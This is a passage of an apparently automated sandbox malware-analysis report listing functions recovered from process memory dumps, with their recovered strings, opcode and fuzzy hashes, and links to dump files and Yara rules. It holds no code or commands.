Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID: BaseDataModuleQuery
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 3901378454-484625025
Opcode ID: 7068371b2b9b4896a927b8335dc924fc10a646f6b5d7df3ba0aca571fe5c92ee
Instruction ID: 22fe2b898c6b4cc4df12d57e6a60fb49b635231f796ed3eb16d2bd68d44bc122
Opcode Fuzzy Hash: 7068371b2b9b4896a927b8335dc924fc10a646f6b5d7df3ba0aca571fe5c92ee
Instruction Fuzzy Hash: A941E771A4020CBADF209BA4DC86FEA73BCEF15704F0504E9F605E6191EA709B498B70

Function 00DE0B15 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 272COMMON

Download Yara Rule

APIs

__fassign.LIBCMT ref: 00DE0BF6
__fassign.LIBCMT ref: 00DE0CA2

Strings

:, xrefs: 00DE0BA9
:, xrefs: 00DE0AC7
., xrefs: 00DE0A0C

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID: __fassign
String ID: .$:$:
API String ID: 3965848254-2308638275
Opcode ID: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction ID: c5c6fef1ecab9cc88f730a0cbee049ba7e79489172377c175807d64b739f54fb
Opcode Fuzzy Hash: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction Fuzzy Hash: B6A18D7190038ADBCB24EF66C8456BEBBB5FF05704F38856AD442A7281D7B09AC1CB71

Function 00DE0554 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 202COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00E02206

Strings

RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 00E0220E
RTL: Resource at %p, xrefs: 00E0221D, 00E0230B
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 00E022FC
RTL: Re-Waiting, xrefs: 00E0223A, 00E02328

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-4236105082
Opcode ID: 52c4af4decb184aa6556c49e0b8dd88a291d91c1e8d195c2fc3aafd036f6e41a
Instruction ID: f2060148629e65f9b167802577cc03af531f7ababcf69d9aa55a10cfb67c2b9f
Opcode Fuzzy Hash: 52c4af4decb184aa6556c49e0b8dd88a291d91c1e8d195c2fc3aafd036f6e41a
Instruction Fuzzy Hash: A95139317012516FEB159A15CC86F6633E9DF94724F21922DFE48EB2C5DA71EC8187B0

Function 00DE14C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 00E0EA22

Part of subcall function 00DE13CB: ___swprintf_l.LIBCMT ref: 00DE146B
Part of subcall function 00DE13CB: ___swprintf_l.LIBCMT ref: 00DE1490

___swprintf_l.LIBCMT ref: 00DE156D

Strings

]:%u, xrefs: 00E0EA47
%%%u, xrefs: 00DE1564

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: ce06148deeed4d3e374c4068febc596898878c79e8a72ad4f38f12e706623df5
Instruction ID: 7f6e1cda143ef60a4165d24aeda110df83bc872da414448557ecab24cb1502a4
Opcode Fuzzy Hash: ce06148deeed4d3e374c4068febc596898878c79e8a72ad4f38f12e706623df5
Instruction Fuzzy Hash: 1D218176A00259ABCF20EE59CC41AEA73BCEB54700F544566F946E3240EB70DA988BF1

Function 00E43DA7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 82COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 00E43DF3
___swprintf_l.LIBCMT ref: 00E43E1D
___swprintf_l.LIBCMT ref: 00E43E46

Strings

]:%u, xrefs: 00E43E3D
%%%u, xrefs: 00E43E14

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: b4c903dcb3c30c62c4ce6276466229697507b5734daa612b5f3305a925c7ef15
Instruction ID: 10d547e7bb331315a34b11de2a141184f2efdae5245bd2de2604dd37c31c5fa6
Opcode Fuzzy Hash: b4c903dcb3c30c62c4ce6276466229697507b5734daa612b5f3305a925c7ef15
Instruction Fuzzy Hash: 9F21AFB2A0121AABCB20AE79AC459EF77ACEB55718F041525FC08B3141E7709F58C7E1

Function 00DC53A5 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 185COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00E022F4

Strings

RTL: Resource at %p, xrefs: 00E0230B
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 00E022FC
RTL: Re-Waiting, xrefs: 00E02328

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-871070163
Opcode ID: 796f3a74c643591ad4035059d077af1730ea21a7de3465d6782d54e06cf2197f
Instruction ID: 24bcea89298969b9dfd959166129873bd690f8d40eea0f07b48e9fb70fd1960f
Opcode Fuzzy Hash: 796f3a74c643591ad4035059d077af1730ea21a7de3465d6782d54e06cf2197f
Instruction Fuzzy Hash: 9F5136716006426BDF11AB64DC85FA673E8EF58364F11422DFE08DB281EA65EC818BB0

Function 00DCEC56 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 145COMMON

Download Yara Rule

Strings

RTL: Enter Critical Section Timeout (%I64u secs) %d, xrefs: 00E0248D
RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu, xrefs: 00E024BD
RTL: Re-Waiting, xrefs: 00E024FA

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID:
String ID: RTL: Enter Critical Section Timeout (%I64u secs) %d$RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu$RTL: Re-Waiting
API String ID: 0-3177188983
Opcode ID: 005f61e4ac8b542cce2a63dfbb22c8572b634a3a9f0817744bed8b78a241a69e
Instruction ID: 71b48604daaef77f3b896b16334472a07b3dcd1c1ea252a6295b2c9dce36ef60
Opcode Fuzzy Hash: 005f61e4ac8b542cce2a63dfbb22c8572b634a3a9f0817744bed8b78a241a69e
Instruction Fuzzy Hash: 3D41E8B0600205AFDB20EB68CD89F6A77F9EF45720F208609F665EB2C1D774E9418771

Function 00E1E759 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 133COMMON

Download Yara Rule

APIs

_wcstoul.LIBCMT ref: 00E1E7B2

Strings

8, xrefs: 00E1E871, 00E1E887, 00E1E874
8, xrefs: 00E1E875
Set 0x%X protection for %p section for %d bytes, old protection 0x%X, xrefs: 00E1E893

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID: _wcstoul
String ID: 8$8$Set 0x%X protection for %p section for %d bytes, old protection 0x%X
API String ID: 1097018459-1135715592
Opcode ID: d515701828f7bb21af964c1ca10dcc5c780c7c690f0cff6a729f0d3178a7f158
Instruction ID: 8f5e62239e1f5f82221d4c5c45caaeb158973452630c8988d380c0298c4533ea
Opcode Fuzzy Hash: d515701828f7bb21af964c1ca10dcc5c780c7c690f0cff6a729f0d3178a7f158
Instruction Fuzzy Hash: 8B419F72C00249AADF149FE4C881BEEB7B8EF05314F58946AF911B7281E774DAC4D760

Function 00DDFCC9 Relevance: 6.3, APIs: 4, Instructions: 257COMMON

Download Yara Rule

APIs

__fassign.LIBCMT ref: 00DDFD94

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID: __fassign
String ID:
API String ID: 3965848254-0
Opcode ID: cf2859dc65627fbf80b6c0eada531fd5cb93d2a8787631212c3d4041a421bf55
Instruction ID: f472ce2a71fb4ae1cbaa3c5aec6204eedea3a9e6042578ee6cc8bea08296af54
Opcode Fuzzy Hash: cf2859dc65627fbf80b6c0eada531fd5cb93d2a8787631212c3d4041a421bf55
Instruction Fuzzy Hash: 0A91A231D0024AEFDF24DF58C8456EEB7B5EF55314F24847BE442A6392E7309A81DBA1

Function 00E55CFA Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 237COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 00E55DE8

Strings

$, xrefs: 00E55D36
0, xrefs: 00E55DBF

Memory Dump Source

Source File: 00000006.00000002.407304379.0000000000D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000006.00000002.407304379.0000000000D80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000E90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.407304379.0000000000EF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d80000_loud89334.jbxd

Similarity

API ID: __aulldvrm
String ID: $$0
API String ID: 1302938615-389342756
Opcode ID: 0ef47804c64e88a5c6d8e6d79971724237a672521e52c435f275fd8d55594eb9
Instruction ID: 506dff893e017a8e92a7bc33ee5c0fdd4c59a00944227e36b17fa8aec2913bb8
Opcode Fuzzy Hash: 0ef47804c64e88a5c6d8e6d79971724237a672521e52c435f275fd8d55594eb9
Instruction Fuzzy Hash: D291B132D04A8ADFDF24CF99C8653EEBBB0AF01316F14695ADCA1B7291C7744A49CB50

Analysis Process: sQNFFcxirzZbXqUULewCRS.exePID: 2952, Parent PID: 3120COMMON

Executed Functions

Function 00CC2EE4 Relevance: 30.5, Strings: 24, Instructions: 476COMMON

Download Yara Rule

Strings

X, xrefs: 00CC2F58
9m, xrefs: 00CC2F18
`q, xrefs: 00CC3210
!, xrefs: 00CC2FA8
RA, xrefs: 00CC3180
n(, xrefs: 00CC3548
K, xrefs: 00CC2FF2
1E, xrefs: 00CC2F0A
8Y, xrefs: 00CC31D9
., xrefs: 00CC3006
lv, xrefs: 00CC30CB
J<, xrefs: 00CC307A
`, xrefs: 00CC2F80
a:, xrefs: 00CC31D2
z, xrefs: 00CC2F76
(, xrefs: 00CC3256
Tj, xrefs: 00CC31BD
]/, xrefs: 00CC3084
r., xrefs: 00CC3044
Z, xrefs: 00CC2F03
|, xrefs: 00CC2F4E
?/, xrefs: 00CC3298
J, xrefs: 00CC2F6C
Am, xrefs: 00CC328E

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID: !$($.$1E$8Y$9m$?/$Am$J$J<$K$RA$Tj$X$]/$`$`q$a:$lv$n($r.$z$|$Z
API String ID: 0-3335427861
Opcode ID: 277da993c6968e9ca5d82dc8bea2544657d17a76410fcaffc1162f2cf9e36fe8
Instruction ID: 18b69193a0c8e42c92618d4e54fe90c2eefc860163d10516d30b6d1888025c05
Opcode Fuzzy Hash: 277da993c6968e9ca5d82dc8bea2544657d17a76410fcaffc1162f2cf9e36fe8
Instruction Fuzzy Hash: 7D42AEB0D05268CBEB28CF49D994BEDBBB2BB45308F2081D9D4496B290C7B55F89DF44

Function 00CD0533 Relevance: 6.4, Strings: 5, Instructions: 153COMMON

Download Yara Rule

Strings

\, xrefs: 00CD05C9
S, xrefs: 00CD05AD
O, xrefs: 00CD05BB
s, xrefs: 00CD05B4
6, xrefs: 00CD05C2

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID: 6$O$S$\$s
API String ID: 0-3854637164
Opcode ID: 7a7d43efcca7597bcf8a6a47de1546d17a73c93f829adfa4eb7c1671c89dc7bb
Instruction ID: 9c5c4d0b38ec5ba78068ce1958b406ca420bec5572920a71112917ea1e42a0f5
Opcode Fuzzy Hash: 7a7d43efcca7597bcf8a6a47de1546d17a73c93f829adfa4eb7c1671c89dc7bb
Instruction Fuzzy Hash: A841C6B2D00219BBDB10EB95DC45FEEB3BCEB48310F14419AFE1897241E771AA548BE1

Function 00CDCE78 Relevance: 2.6, Strings: 2, Instructions: 62COMMON

Download Yara Rule

Strings

1@, xrefs: 00CDCEBB
CO, xrefs: 00CDCEC9

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID: 1@$CO
API String ID: 0-3271856365
Opcode ID: d5367fcadc0c0237eb455368ab32a8165f941f740ed9f59757560cf1061dbf00
Instruction ID: 156d24768c10b333ae77e72d153f5868a7fe0936f46463ef3a24b4187065e6d8
Opcode Fuzzy Hash: d5367fcadc0c0237eb455368ab32a8165f941f740ed9f59757560cf1061dbf00
Instruction Fuzzy Hash: 77111CB6D01219AF9B00DFE9D8419EFBBF9EF88710F10416BE915E7200E7705A04CBA1

Function 00CDCDE8 Relevance: 1.3, Strings: 1, Instructions: 46COMMON

Download Yara Rule

Strings

<*, xrefs: 00CDCE35

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID: <*
API String ID: 0-3918635734
Opcode ID: 5d3ea86b4cf73581d14e47e169f14b5317848a2948dffec33904616e0e6b2216
Instruction ID: b6ae43be0a274af83a06f3800006115967ef5f8f2a011a3a9e05a883484f1246
Opcode Fuzzy Hash: 5d3ea86b4cf73581d14e47e169f14b5317848a2948dffec33904616e0e6b2216
Instruction Fuzzy Hash: 3301D7F2D01219AF9B40DFE8C9419EEBBF9AB18700F14466AE915F3241EB705A04CBA5

Function 00CBB279 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55abe421ca3e5b0d78425a0224a921fbeb1cf440639fee9db3fffa6466aa7fc5
Instruction ID: 36b9a0581c2803971a49bbf67e5c1560f6fd49ed1da014ec21eaa49a95d6b588
Opcode Fuzzy Hash: 55abe421ca3e5b0d78425a0224a921fbeb1cf440639fee9db3fffa6466aa7fc5
Instruction Fuzzy Hash: FF4130B1D11218AFDB04CF99C885AEEBBBCFF49710F50415EFA18E6241D3B09A41CBA4

Function 00CDFAB8 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f820e85ee7799ced374d5f228edee973b11cb4d80d86b2547316a7fa5b2d660a
Instruction ID: e494aa6742039394546b2d8ba70f59c3a44fe07cb2c0b7cccfc338f48e417958
Opcode Fuzzy Hash: f820e85ee7799ced374d5f228edee973b11cb4d80d86b2547316a7fa5b2d660a
Instruction Fuzzy Hash: 3321DFB2200549BBCB14DF99DC81EEB73ADEF8C714F118209FA18A3241D630E8528BA4

Function 00CD0378 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c8fba3aa02b4688b8ad44cf887169cd798488221683baca2bc6745e7b2def8e
Instruction ID: e2e95ad24c095e33e17ce409435049c1665121850b40e28f084a8a0c96cc7b3e
Opcode Fuzzy Hash: 9c8fba3aa02b4688b8ad44cf887169cd798488221683baca2bc6745e7b2def8e
Instruction Fuzzy Hash: F81186B63802097BF7209A559C43FAB375C9B85B11F24401AFB04BA2C2D6F5B81197B4

Function 00CDFA08 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5167dea811e553904f14d2d5ac7bceb04798e75c958732051781d2d0ce5dcd43
Instruction ID: b51e0c5a36b8cf3506ee59f43363646e82eff512da7c6d02eb8f5b9f9e325599
Opcode Fuzzy Hash: 5167dea811e553904f14d2d5ac7bceb04798e75c958732051781d2d0ce5dcd43
Instruction Fuzzy Hash: 171112B2200209AFDB14EF99DC81EEB73EDEF8C700F108109FA18A3241D634A9118BB4

Function 00CE0218 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65ec8470de90f2218b0995cd8d15330cebc4bdeb74493bfa14f8b7e3c0dd4b29
Instruction ID: 39cdf7dfae7dbffdf37b261da0a63e1cf68581529e58ec8151bae90ce8dfbebe
Opcode Fuzzy Hash: 65ec8470de90f2218b0995cd8d15330cebc4bdeb74493bfa14f8b7e3c0dd4b29
Instruction Fuzzy Hash: 811148B2600205BBDB14EEA9DC81EAF73ACEFC9710F144509FE18A7241D630B821CBB5

Function 00CDE0A8 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41efd349507ca443c98136bd909d1596f47bb243703502aeac21759b178523d6
Instruction ID: 49c981843fb15afa3a4368a71e4806833b4335dc28f8ff24878b3b888e2b7dda
Opcode Fuzzy Hash: 41efd349507ca443c98136bd909d1596f47bb243703502aeac21759b178523d6
Instruction Fuzzy Hash: 9411D0B6D0121DAF9B00DFE9DC419EEB7FCEF49310F4445AAE919E7201E7709A058BA1

Function 00CDF848 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 254f663172e94fa575cee9d54d6ea073f061fc0d9c0b3d3d5650422aa320e9c0
Instruction ID: 2735fb42100bf0b33a875c8f54dce497da86d7aabd4d8d4d7ffeb429d34afe73
Opcode Fuzzy Hash: 254f663172e94fa575cee9d54d6ea073f061fc0d9c0b3d3d5650422aa320e9c0
Instruction Fuzzy Hash: 4C0178B16006457BE714EA65DC82EAB73ACEFC6710F10481AFE18A7282D67079518BB2

Function 00CDF728 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89985d5a303442558f7cb02c5545045a8c7a40a761b062352d771fc7846300f0
Instruction ID: 2abdd2165ae06b6f287868627e0d15f095bba9886abd8375c7bd7241d0fc499a
Opcode Fuzzy Hash: 89985d5a303442558f7cb02c5545045a8c7a40a761b062352d771fc7846300f0
Instruction Fuzzy Hash: 980178B2240241BBE624EAA9DC46EEB73ACEFC6710F00440AFA18A7241D77079118BB4

Function 00CE0518 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.635338207.0000000000AA0000.00000040.00000001.00040000.00000000.sdmp, Offset: 00AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_aa0000_sQNFFcxirzZbXqUULewCRS.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
